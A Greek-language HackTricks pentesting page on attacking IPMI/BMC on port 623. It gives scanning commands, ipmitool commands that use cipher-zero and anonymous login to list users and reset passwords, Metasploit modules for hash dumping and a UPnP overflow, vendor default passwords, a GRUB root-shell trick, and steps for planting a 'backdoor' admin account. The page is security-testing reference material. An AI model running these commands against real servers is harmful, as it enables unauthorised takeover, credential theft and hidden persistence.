623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βασικές Πληροφορίες

Επισκόπηση του IPMI

Το Intelligent Platform Management Interface (IPMI) προσφέρει μια τυποποιημένη προσέγγιση για την απομακρυσμένη διαχείριση και παρακολούθηση των υπολογιστικών συστημάτων, ανεξάρτητα από το λειτουργικό σύστημα ή την κατάσταση λειτουργίας. Αυτή η τεχνολογία επιτρέπει στους διαχειριστές συστημάτων να διαχειρίζονται απομακρυσμένα τα συστήματα, ακόμα και όταν είναι απενεργοποιημένα ή μη ανταποκρίνονται, και είναι ιδιαίτερα χρήσιμη για:

  • Ρυθμίσεις πριν την εκκίνηση του λειτουργικού συστήματος

  • Διαχείριση απενεργοποίησης

  • Ανάκτηση από αποτυχίες του συστήματος

Το IPMI είναι ικανό να παρακολουθεί θερμοκρασίες, τάσεις, ταχύτητες ανεμιστήρων και τροφοδοτικά, καθώς και να παρέχει πληροφορίες αποθέματος, να ελέγχει αρχεία καταγραφής υλικού και να αποστέλλει ειδοποιήσεις μέσω SNMP. Απαραίτητα για τη λειτουργία του είναι μια πηγή ενέργειας και μια σύνδεση LAN.

Από την εισαγωγή του από την Intel το 1998, το IPMI έχει υποστηριχθεί από πολλούς προμηθευτές, ενισχύοντας τις δυνατότητες απομακρυσμένης διαχείρισης, ιδιαίτερα με την υποστήριξη της έκδοσης 2.0 για σειριακή σύνδεση μέσω LAN. Οι βασικοί συστατικοί περιλαμβάνουν:

  • Baseboard Management Controller (BMC): Ο κύριος μικροελεγκτής για τις λειτουργίες του IPMI.

  • Λεωφορεία και διεπαφές επικοινωνίας: Για εσωτερική και εξωτερική επικοινωνία, συμπεριλαμβανομένων των ICMB, IPMB και διάφορων διεπαφών για τοπικές και δικτυακές συνδέσεις.

  • Μνήμη IPMI: Για αποθήκευση καταγραφών και δεδομένων.

Προεπιλεγμένη Θύρα: 623/UDP/TCP (Συνήθως είναι σε UDP αλλά μπορεί επίσης να λειτουργεί σε TCP)

Απαρίθμηση

Ανακάλυψη

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Μπορείτε να αναγνωρίσετε τη έκδοση χρησιμοποιώντας:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Ευπάθειες του IPMI

Στον κόσμο του IPMI 2.0, αποκαλύφθηκε μια σημαντική αδυναμία ασφαλείας από τον Dan Farmer, αποκαλύπτοντας μια ευπάθεια μέσω του τύπου κρυπτογράφησης 0. Αυτή η ευπάθεια, περιγράφεται αναλυτικά στην έρευνα του Dan Farmer, επιτρέπει την μη εξουσιοδοτημένη πρόσβαση με οποιοδήποτε κωδικό πρόσβασης, εφόσον στοχευθεί ένας έγκυρος χρήστης. Αυτή η αδυναμία βρέθηκε σε διάφορα BMCs από κατασκευαστές όπως η HP, η Dell και η Supermicro, υποδηλώνοντας ένα ευρέως διαδεδομένο πρόβλημα σε όλες τις υλοποιήσεις του IPMI 2.0.

Παράκαμψη Πιστοποίησης IPMI μέσω του Τύπου Κρυπτογράφησης 0

Για τον εντοπισμό αυτής της αδυναμίας, μπορεί να χρησιμοποιηθεί το εργαλείο ανίχνευσης Metasploit auxiliary scanner που ακολουθεί:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

Η εκμετάλλευση αυτής της αδυναμίας είναι εφικτή με το ipmitool, όπως φαίνεται παρακάτω, επιτρέποντας την αναφορά και τροποποίηση των κωδικών πρόσβασης των χρηστών:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 RAKP Αποκτήστε Απομακρυσμένα τον Κωδικό Πρόσβασης του Συνθηματικού Αυθεντικοποίησης

Αυτή η ευπάθεια επιτρέπει την ανάκτηση αλατωμένων κατακερματισμένων κωδικών πρόσβασης (MD5 και SHA1) για οποιονδήποτε υπάρχον όνομα χρήστη. Για να δοκιμάσετε αυτήν την ευπάθεια, το Metasploit προσφέρει ένα ενότητα:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Ανώνυμη Πιστοποίηση IPMI

Μια προεπιλεγμένη ρύθμιση σε πολλά BMCs επιτρέπει την πρόσβαση "ανώνυμη", χαρακτηριζόμενη από κενές συμβολοσειρές ονόματος χρήστη και κωδικού πρόσβασης. Αυτή η ρύθμιση μπορεί να εκμεταλλευτεί για την επαναφορά κωδικών πρόσβασης ονομασμένων λογαριασμών χρηστών χρησιμοποιώντας το ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Καθαρό κείμενο κωδικοί πρόσβασης IPMI της Supermicro

Μια κρίσιμη σχεδιαστική επιλογή στο IPMI 2.0 απαιτεί την αποθήκευση κωδικών πρόσβασης σε μορφή καθαρού κειμένου μέσα στα BMCs για σκοπούς πιστοποίησης. Η αποθήκευση αυτών των κωδικών πρόσβασης από την Supermicro σε τοποθεσίες όπως /nv/PSBlock ή /nv/PSStore προκαλεί σημαντικές ανησυχίες ασφαλείας:

cat /nv/PSBlock

Ευπάθεια UPnP στο Supermicro IPMI

Η περιλαμβανόμενη από τη Supermicro εφαρμογή UPnP SSDP listener στο firmware του IPMI, ειδικά στην UDP θύρα 1900, εισάγει ένα σοβαρό κίνδυνο ασφάλειας. Οι ευπάθειες στην έκδοση 1.3.1 του Intel SDK για συσκευές UPnP, όπως περιγράφονται από την αποκάλυψη της Rapid7, επιτρέπουν την πρόσβαση ως root στο BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Βίαιη Δύναμη

Η HP τυχαιοποιεί το προεπιλεγμένο κωδικό πρόσβασης για το προϊόν της Integrated Lights Out (iLO) κατά την κατασκευή. Αυτή η πρακτική αντίθετα με άλλους κατασκευαστές, οι οποίοι τείνουν να χρησιμοποιούν στατικές προεπιλεγμένες πιστοποιήσεις. Παρακάτω παρέχεται ένας περίλογος με προεπιλεγμένα ονόματα χρηστών και κωδικούς πρόσβασης για διάφορα προϊόντα:

  • Το HP Integrated Lights Out (iLO) χρησιμοποιεί ένα τυχαίο 8-χαρακτήριο συμβολοσειρά ως προεπιλεγμένο κωδικό πρόσβασης, παρουσιάζοντας ένα υψηλότερο επίπεδο ασφαλείας.

  • Προϊόντα όπως το Dell's iDRAC, IBM's IMM και Fujitsu's Integrated Remote Management Controller χρησιμοποιούν εύκολα μαντεύσιμους κωδικούς πρόσβασης όπως "calvin", "PASSW0RD" (με μηδέν), και "admin" αντίστοιχα.

  • Επίσης, το Supermicro IPMI (2.0), Oracle/Sun ILOM και ASUS iKVM BMC χρησιμοποιούν επίσης απλούς προεπιλεγμένους κωδικούς πρόσβασης, με "ADMIN", "changeme" και "admin" να λειτουργούν ως κωδικοί πρόσβασης τους.

Πρόσβαση στον Κεντρικό Υπολογιστή μέσω του BMC

Η διαχειριστική πρόσβαση στον Ελεγκτή Διαχείρισης Βασικής Πλακέτας (BMC) ανοίγει διάφορους δρόμους για την πρόσβαση στο λειτουργικό σύστημα του κεντρικού υπολογιστή. Μια απλή προσέγγιση περιλαμβάνει την εκμετάλλευση της λειτουργικότητας Πληκτρολογίου, Βίντεο, Ποντικιού (KVM) του BMC. Αυτό μπορεί να γίνει είτε επανεκκινώντας τον κεντρικό υπολογιστή σε ένα root shell μέσω του GRUB (χρησιμοποιώντας init=/bin/sh) είτε εκκινώντας από ένα εικονικό CD-ROM που έχει οριστεί ως δισκέτα ανάκαμψης. Τέτοιες μεθόδοι επιτρέπουν την άμεση επεξεργασία του δίσκου του κεντρικού υπολογιστή, συμπεριλαμβανομένης της εισαγωγής πίσω πόρτας, της εξαγωγής δεδομένων ή οποιωνδήποτε απαραίτητων ενεργειών για μια αξιολόγηση ασφαλείας. Ωστόσο, αυτό απαιτεί την επανεκκίνηση του κεντρικού υπολογιστή, που αποτελεί ένα σημαντικό μειονέκτημα. Χωρίς επανεκκίνηση, η πρόσβαση στον εκτελούμενο κεντρικό υπολογιστή είναι πιο περίπλοκη και διαφέρει ανάλογα με τη διαμόρφωση του κεντρικού υπολογιστή. Εάν η φυσική ή η σειριακή κονσόλα του κεντρικού υπολογιστή παραμένει συνδεδεμένη, μπορεί εύκολα να καταληφθεί μέσω των λειτουργιών KVM ή σειριακής-μέσω-LAN (sol) του BMC μέσω του ipmitool. Η εξερεύνηση της εκμετάλλευσης κοινόχρηστων υλικών πόρων, όπως το δίαυλος i2c και το Super I/O chip, είναι ένας τομέας που απαιτεί περαιτέρω έρευνα.

Εισαγωγή Πίσω Πόρτας στο BMC από τον Κεντρικό Υπολογιστή

Μετά την παραβίαση ενός κεντρικού υπολογιστή που είναι εξοπλισμένος με ένα BMC, η τοπική διεπαφή του BMC μπορεί να αξιοποιηθεί για την εισαγωγή ενός λογαριασμού χρήστη πίσω πόρτας, δημιουργώντας μια μόνιμη παρουσία στον διακομιστή. Αυτή η επίθεση απαιτεί την παρουσία του ipmitool στον παραβιασμένο υπολογιστή και την ενεργοποίηση της υποστήριξης του οδηγού BMC. Οι παρακάτω εντολές επιδεικνύουν πώς μπορεί να εισαχθεί ένας νέος λογαριασμός χρήστη στο BMC χρησιμοποιώντας την τοπική διεπαφή του υπολογιστή, που παρακάμπτει την ανάγκη για πιστοποίηση. Αυτή η τεχνική είναι εφαρμόσιμη σε μια ευρεία γκάμα λειτουργικών συστημάτων, συμπεριλαμβανομένων των Linux, Windows, BSD και ακόμα και DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Αναφορές

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated